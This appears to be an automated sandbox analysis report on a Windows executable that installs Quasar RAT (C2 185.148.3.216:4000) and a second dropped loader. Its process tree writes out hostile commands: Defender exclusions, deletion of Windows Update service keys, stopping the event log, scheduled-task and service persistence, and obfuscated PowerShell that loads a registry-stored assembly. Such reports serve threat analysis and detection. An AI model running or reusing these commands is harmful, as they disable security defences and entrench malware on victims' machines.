Analysis

  • max time kernel
    19s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    03-01-2025 03:17

General

  • Target

    210673b54f64ba4504b4ffb778b245261ba47ba659bfe14cd66290bf9c0f64ba.exe

  • Size

    6.0MB

  • MD5

    13b0dec8a2c9291ec13ca9d0f1a98b33

  • SHA1

    762c7072179bce1822999dc30c6252262caf6c00

  • SHA256

    210673b54f64ba4504b4ffb778b245261ba47ba659bfe14cd66290bf9c0f64ba

  • SHA512

    b8b97a630c6f4eca602c756a5a1c29e1cc3354db29176a5b34cb92fd10b14665bde82d01f97c65fbdec3db343e20f6ec67a9e1d3db9c16c280f2e8962d144346

  • SSDEEP

    98304:j3GflC+i0bBHXGgjaQx+OhfzTxzdloaDU5BKtxo5fQIwuhkNUwZ:j3GtCj0bR2Ej1hbTxkfzKYAEkXZ

Malware Config

Extracted

Family

quasar

Version

1.4.0

Botnet

4Drun

C2

185.148.3.216:4000

Mutex

c3557859-56ac-475e-b44d-e1b60c20d0d0

Attributes
  • encryption_key

    B000736BEBDF08FC1B6696200651882CF57E43E7

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    3dfx Startup

  • subdirectory

    SubDir

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 5 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Loads dropped DLL 4 IoCs
  • Power Settings 1 TTPs 18 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 24 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:432
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{af0644fc-41ac-43c5-ad78-b72598df6cfb}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1468
      • C:\Windows\SysWOW64\dllhost.exe
        C:\Windows\SysWOW64\dllhost.exe /Processid:{9b83b024-b815-44d4-9736-cb181a8431fa}
        2⤵
          PID:752
      • C:\Windows\system32\services.exe
        C:\Windows\system32\services.exe
        1⤵
          PID:476
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch
            2⤵
              PID:592
              • C:\Windows\system32\wbem\wmiprvse.exe
                C:\Windows\system32\wbem\wmiprvse.exe
                3⤵
                  PID:1344
                • C:\Windows\system32\DllHost.exe
                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                  3⤵
                    PID:1472
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k RPCSS
                  2⤵
                    PID:672
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                    2⤵
                    • Indicator Removal: Clear Windows Event Logs
                    PID:756
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                    2⤵
                      PID:808
                      • C:\Windows\system32\Dwm.exe
                        "C:\Windows\system32\Dwm.exe"
                        3⤵
                          PID:1056
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs
                        2⤵
                        • Drops file in Windows directory
                        • Suspicious use of AdjustPrivilegeToken
                        PID:844
                        • C:\Windows\system32\taskeng.exe
                          taskeng.exe {B4C3596B-952B-489E-9B29-7C5988566F0E} S-1-5-18:NT AUTHORITY\System:Service:
                          3⤵
                          • Loads dropped DLL
                          PID:1256
                          • C:\Program Files\Cuis\bon\Bara.exe
                            "C:\Program Files\Cuis\bon\Bara.exe"
                            4⤵
                            • Executes dropped EXE
                            PID:2524
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                              5⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:2976
                            • C:\Windows\system32\cmd.exe
                              cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                              5⤵
                                PID:2512
                                • C:\Windows\system32\sc.exe
                                  sc stop UsoSvc
                                  6⤵
                                  • Launches sc.exe
                                  PID:2796
                                • C:\Windows\system32\sc.exe
                                  sc stop WaaSMedicSvc
                                  6⤵
                                  • Launches sc.exe
                                  PID:2640
                                • C:\Windows\system32\sc.exe
                                  sc stop wuauserv
                                  6⤵
                                  • Launches sc.exe
                                  PID:1764
                                • C:\Windows\system32\sc.exe
                                  sc stop bits
                                  6⤵
                                  • Launches sc.exe
                                  PID:2772
                                • C:\Windows\system32\sc.exe
                                  sc stop dosvc
                                  6⤵
                                  • Launches sc.exe
                                  PID:2016
                              • C:\Windows\system32\cmd.exe
                                cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                5⤵
                                • Power Settings
                                PID:988
                                • C:\Windows\system32\powercfg.exe
                                  powercfg /x -hibernate-timeout-ac 0
                                  6⤵
                                  • Power Settings
                                  PID:2720
                                • C:\Windows\system32\powercfg.exe
                                  powercfg /x -hibernate-timeout-dc 0
                                  6⤵
                                  • Power Settings
                                  PID:2140
                                • C:\Windows\system32\powercfg.exe
                                  powercfg /x -standby-timeout-ac 0
                                  6⤵
                                  • Power Settings
                                  PID:3008
                                • C:\Windows\system32\powercfg.exe
                                  powercfg /x -standby-timeout-dc 0
                                  6⤵
                                  • Power Settings
                                  PID:2836
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
                                5⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:2248
                                • C:\Windows\system32\schtasks.exe
                                  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn Barac /tr "'C:\Program Files\Cuis\bon\Bara.exe'"
                                  6⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:1660
                              • C:\Windows\system32\dialer.exe
                                C:\Windows\system32\dialer.exe ujznpffbjbh
                                5⤵
                                  PID:2268
                                • C:\Windows\system32\cmd.exe
                                  cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                  5⤵
                                    PID:2324
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic PATH Win32_VideoController GET Name, VideoProcessor
                                      6⤵
                                      • Detects videocard installed
                                      PID:2704
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                  4⤵
                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                  • Drops file in System32 directory
                                  • Suspicious use of SetThreadContext
                                  • Modifies data under HKEY_USERS
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1236
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                                  4⤵
                                  • Drops file in System32 directory
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1656
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService
                              2⤵
                                PID:960
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k NetworkService
                                2⤵
                                  PID:236
                                • C:\Windows\system32\taskhost.exe
                                  "taskhost.exe"
                                  2⤵
                                    PID:1048
                                  • C:\Windows\System32\spoolsv.exe
                                    C:\Windows\System32\spoolsv.exe
                                    2⤵
                                      PID:1076
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                                      2⤵
                                        PID:1156
                                      • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
                                        "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
                                        2⤵
                                          PID:2044
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                                          2⤵
                                            PID:1772
                                          • C:\Windows\system32\sppsvc.exe
                                            C:\Windows\system32\sppsvc.exe
                                            2⤵
                                              PID:3004
                                            • C:\ProgramData\mxergolzfguk\kaptsegthwf.exe
                                              C:\ProgramData\mxergolzfguk\kaptsegthwf.exe
                                              2⤵
                                                PID:2180
                                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                  3⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  PID:2640
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                  3⤵
                                                    PID:2216
                                                    • C:\Windows\system32\wusa.exe
                                                      wusa /uninstall /kb:890830 /quiet /norestart
                                                      4⤵
                                                        PID:1520
                                                    • C:\Windows\system32\sc.exe
                                                      C:\Windows\system32\sc.exe stop UsoSvc
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:2724
                                                    • C:\Windows\system32\sc.exe
                                                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:2308
                                                    • C:\Windows\system32\sc.exe
                                                      C:\Windows\system32\sc.exe stop wuauserv
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:2140
                                                    • C:\Windows\system32\sc.exe
                                                      C:\Windows\system32\sc.exe stop bits
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:1944
                                                    • C:\Windows\system32\sc.exe
                                                      C:\Windows\system32\sc.exe stop dosvc
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:2784
                                                    • C:\Windows\system32\powercfg.exe
                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                      3⤵
                                                      • Power Settings
                                                      PID:2492
                                                    • C:\Windows\system32\powercfg.exe
                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                      3⤵
                                                      • Power Settings
                                                      PID:876
                                                    • C:\Windows\system32\powercfg.exe
                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                      3⤵
                                                      • Power Settings
                                                      PID:624
                                                    • C:\Windows\system32\powercfg.exe
                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                      3⤵
                                                      • Power Settings
                                                      PID:2272
                                                    • C:\Windows\system32\dialer.exe
                                                      C:\Windows\system32\dialer.exe
                                                      3⤵
                                                        PID:2880
                                                      • C:\Windows\system32\dialer.exe
                                                        C:\Windows\system32\dialer.exe
                                                        3⤵
                                                          PID:3036
                                                        • C:\Windows\system32\dialer.exe
                                                          dialer.exe
                                                          3⤵
                                                            PID:1716
                                                      • C:\Windows\system32\lsass.exe
                                                        C:\Windows\system32\lsass.exe
                                                        1⤵
                                                          PID:492
                                                        • C:\Windows\system32\lsm.exe
                                                          C:\Windows\system32\lsm.exe
                                                          1⤵
                                                            PID:500
                                                          • C:\Windows\Explorer.EXE
                                                            C:\Windows\Explorer.EXE
                                                            1⤵
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1124
                                                            • C:\Users\Admin\AppData\Local\Temp\210673b54f64ba4504b4ffb778b245261ba47ba659bfe14cd66290bf9c0f64ba.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\210673b54f64ba4504b4ffb778b245261ba47ba659bfe14cd66290bf9c0f64ba.exe"
                                                              2⤵
                                                              • Loads dropped DLL
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:2160
                                                              • C:\Users\Admin\AppData\Local\Temp\gfiKDLgr58thy4d.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\gfiKDLgr58thy4d.exe"
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Drops file in System32 directory
                                                                • Suspicious use of SetThreadContext
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2844
                                                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Drops file in System32 directory
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1308
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                  4⤵
                                                                    PID:1176
                                                                    • C:\Windows\system32\wusa.exe
                                                                      wusa /uninstall /kb:890830 /quiet /norestart
                                                                      5⤵
                                                                      • Drops file in Windows directory
                                                                      PID:1696
                                                                  • C:\Windows\system32\sc.exe
                                                                    C:\Windows\system32\sc.exe stop UsoSvc
                                                                    4⤵
                                                                    • Launches sc.exe
                                                                    PID:2232
                                                                  • C:\Windows\system32\sc.exe
                                                                    C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                    4⤵
                                                                    • Launches sc.exe
                                                                    PID:3028
                                                                  • C:\Windows\system32\sc.exe
                                                                    C:\Windows\system32\sc.exe stop wuauserv
                                                                    4⤵
                                                                    • Launches sc.exe
                                                                    PID:1040
                                                                  • C:\Windows\system32\sc.exe
                                                                    C:\Windows\system32\sc.exe stop bits
                                                                    4⤵
                                                                    • Launches sc.exe
                                                                    PID:300
                                                                  • C:\Windows\system32\sc.exe
                                                                    C:\Windows\system32\sc.exe stop dosvc
                                                                    4⤵
                                                                    • Launches sc.exe
                                                                    PID:2348
                                                                  • C:\Windows\system32\powercfg.exe
                                                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                    4⤵
                                                                    • Power Settings
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1604
                                                                  • C:\Windows\system32\powercfg.exe
                                                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                    4⤵
                                                                    • Power Settings
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:296
                                                                  • C:\Windows\system32\powercfg.exe
                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                    4⤵
                                                                    • Power Settings
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1208
                                                                  • C:\Windows\system32\powercfg.exe
                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                    4⤵
                                                                    • Power Settings
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1480
                                                                  • C:\Windows\system32\dialer.exe
                                                                    C:\Windows\system32\dialer.exe
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2520
                                                                  • C:\Windows\system32\sc.exe
                                                                    C:\Windows\system32\sc.exe delete "WAGDKRVZ"
                                                                    4⤵
                                                                    • Launches sc.exe
                                                                    PID:1668
                                                                  • C:\Windows\system32\sc.exe
                                                                    C:\Windows\system32\sc.exe create "WAGDKRVZ" binpath= "C:\ProgramData\mxergolzfguk\kaptsegthwf.exe" start= "auto"
                                                                    4⤵
                                                                    • Launches sc.exe
                                                                    PID:2696
                                                                  • C:\Windows\system32\sc.exe
                                                                    C:\Windows\system32\sc.exe stop eventlog
                                                                    4⤵
                                                                    • Launches sc.exe
                                                                    PID:2228
                                                                  • C:\Windows\system32\sc.exe
                                                                    C:\Windows\system32\sc.exe start "WAGDKRVZ"
                                                                    4⤵
                                                                    • Launches sc.exe
                                                                    PID:2932
                                                                • C:\Users\Admin\AppData\Local\Temp\GR55Qg1hth.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\GR55Qg1hth.exe"
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of SetThreadContext
                                                                  • Drops file in Program Files directory
                                                                  • Suspicious use of WriteProcessMemory
                                                                  PID:2688
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                    4⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1728
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                    4⤵
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:2752
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc stop UsoSvc
                                                                      5⤵
                                                                      • Launches sc.exe
                                                                      PID:1924
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc stop WaaSMedicSvc
                                                                      5⤵
                                                                      • Launches sc.exe
                                                                      PID:2900
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc stop wuauserv
                                                                      5⤵
                                                                      • Launches sc.exe
                                                                      PID:1848
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc stop bits
                                                                      5⤵
                                                                      • Launches sc.exe
                                                                      PID:1736
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc stop dosvc
                                                                      5⤵
                                                                      • Launches sc.exe
                                                                      PID:320
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                                                      5⤵
                                                                        PID:1648
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                                                        5⤵
                                                                          PID:2116
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                                                          5⤵
                                                                          • Modifies security service
                                                                          PID:1652
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                                                          5⤵
                                                                            PID:2092
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                            5⤵
                                                                              PID:1948
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                            4⤵
                                                                            • Power Settings
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:2872
                                                                            • C:\Windows\system32\powercfg.exe
                                                                              powercfg /x -hibernate-timeout-ac 0
                                                                              5⤵
                                                                              • Power Settings
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2888
                                                                            • C:\Windows\system32\powercfg.exe
                                                                              powercfg /x -hibernate-timeout-dc 0
                                                                              5⤵
                                                                              • Power Settings
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1944
                                                                            • C:\Windows\system32\powercfg.exe
                                                                              powercfg /x -standby-timeout-ac 0
                                                                              5⤵
                                                                              • Power Settings
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1940
                                                                            • C:\Windows\system32\powercfg.exe
                                                                              powercfg /x -standby-timeout-dc 0
                                                                              5⤵
                                                                              • Power Settings
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1260
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
                                                                            4⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:2948
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn Barac /tr "'C:\Program Files\Cuis\bon\Bara.exe'"
                                                                              5⤵
                                                                              • Scheduled Task/Job: Scheduled Task
                                                                              PID:2096
                                                                          • C:\Windows\system32\dialer.exe
                                                                            C:\Windows\system32\dialer.exe
                                                                            4⤵
                                                                            • Drops file in Windows directory
                                                                            PID:3028
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
                                                                            4⤵
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2204
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              "C:\Windows\system32\schtasks.exe" /run /tn Barac
                                                                              5⤵
                                                                                PID:2364
                                                                          • C:\Users\Admin\AppData\Local\Temp\F4R5fd8grr.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\F4R5fd8grr.exe"
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:2604
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              "schtasks" /create /tn "3dfx Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\F4R5fd8grr.exe" /rl HIGHEST /f
                                                                              4⤵
                                                                              • Scheduled Task/Job: Scheduled Task
                                                                              PID:2832
                                                                            • C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
                                                                              "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
                                                                              4⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:2584
                                                                              • C:\Windows\system32\schtasks.exe
                                                                                "schtasks" /create /tn "3dfx Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                                                5⤵
                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                PID:1776
                                                                      • C:\Windows\system32\conhost.exe
                                                                        \??\C:\Windows\system32\conhost.exe "2095018224-93949587-1799823534104982219012234691081636728403-408151524-977889501"
                                                                        1⤵
                                                                          PID:1664

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v15

                                                                        Replay Monitor

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                                                                        Downloads

                                                                        • C:\Program Files\Cuis\bon\Bara.exe

                                                                          Filesize

                                                                          2.4MB

                                                                          MD5

                                                                          b70a5e7260b025e39b8016523a1f2d64

                                                                          SHA1

                                                                          aea86a6e4d9ba908d9e141a5d4166ba1e3b1b6a7

                                                                          SHA256

                                                                          fd7327848bb13a7a2919447c1818935482527bcc7de7da835b907826b7488490

                                                                          SHA512

                                                                          a0b63100553d8ae1bbc6471cc0b63499d82ff1503dc17f46cb1aee07a1332a053c485b74bbe7670638ff0d069496751f9326f9bbb6df96f794acb73969b182ca

                                                                        • C:\Users\Admin\AppData\Local\Temp\F4R5fd8grr.exe

                                                                          Filesize

                                                                          502KB

                                                                          MD5

